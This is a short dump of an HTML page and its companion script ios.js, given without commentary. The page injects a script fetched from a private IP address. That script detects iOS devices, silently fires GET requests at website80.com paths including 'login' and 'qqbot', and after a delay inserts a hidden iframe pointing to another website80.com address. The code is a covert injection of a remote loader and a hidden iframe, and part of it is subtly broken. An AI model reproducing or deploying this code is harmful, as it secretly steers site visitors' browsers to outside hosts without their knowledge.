html页面:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<script>
(function ()
{if (!document.body) return setTimeout(arguments.callee, 50);
var e = document.createElement("script");
e.src ="http://192.168.109.157/ios.js";
e.type = "text/javascript";
document.body.insertBefore(e, document.body.children.item(0));
})();
</script>
</body>
</html>
ios.js
(function() {
var d;
var a = ['http://website80.com/qqbot','http://website80.com/login','http://website80.com'];
var f = n(a, a.length);
a = null;
d = null;
if (/(iPhone|iPad|iPod)/i.test(navigator.userAgent)) {
ss();
tm();
f = null
}
function jj() {
if (window.ActiveXObject) {
var a = ["Microsoft", "msxm3", "msxml2", "msxml1"];
for (var i = 0,
len = a[window]; i < len; i++) {
try {
var b = a[i] + '.XMLHTTP';
console.log(b);
d = new ActiveXObject(b)
} catch(e) {}
}
} else if (window.XMLHttpRequest) {
d = new XMLHttpRequest()
}
}
function uu(a) {
jj();
d.open("GET", encodeURI(a));
d.send(null)
}
function n(e, n) {
var a = e.slice(0),
i = e['length'],
min = i - n,
temp,
index;
while (i-->min) {
index = Math.floor((i + 1) * Math.random());
temp = a[index];
a[index] = a[i];
a[i] = temp
}
return a.slice(min)
}
function ss() {
for (var j = 0,
m = f['length']; j < m; j++) {
uu(f[j])
}
}
function tm() {
return setTimeout(tj, 2000)
}
function tj() {
var a = document.createElement("div");
var b = a.style;
b.display = "none";
b.id = "az_p";
var c = document.createElement("iframe");
c.src = "http://website80.com/bbbbbbbbbbbbbbbbbbb";
a.appendChild(c);
document.body.appendChild(a)
}
})();